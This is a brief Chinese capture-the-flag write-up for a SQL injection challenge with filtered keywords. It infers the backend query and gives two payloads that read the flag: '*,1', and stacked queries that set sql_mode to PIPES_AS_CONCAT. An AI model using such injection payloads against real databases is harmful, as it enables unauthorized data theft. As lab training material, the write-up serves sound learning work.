进入靶机,根据题目是一道sql注入题目,经过普通手段注入发现大部分关键词都被过滤了,
Array ( [0] => 1 )
一解:发现输入数字回显代码,字母不回显,所以猜测后台代码存在 ||(或)
select $_POST['query'] || flag from flag
猜测后台代码,构造payload:*,1
等同于
select *,1 from flag
相当于:1 || flag 就等于1呀
select 1 from 的意思其实是建立一个临时列,这个列的所有初始值都被设为了1
二解:
把 || 变成字符串连接符,而不是或。
涉及到mysql中sql_mode参数设置(看了大佬得wp后的学到),设置 sql_mode=pipes_as_concat字符就可以设置。
1;set sql_mode=PIPES_AS_CONCAT;select 1
上面那句执行是:
select concat(1,flag) from Flag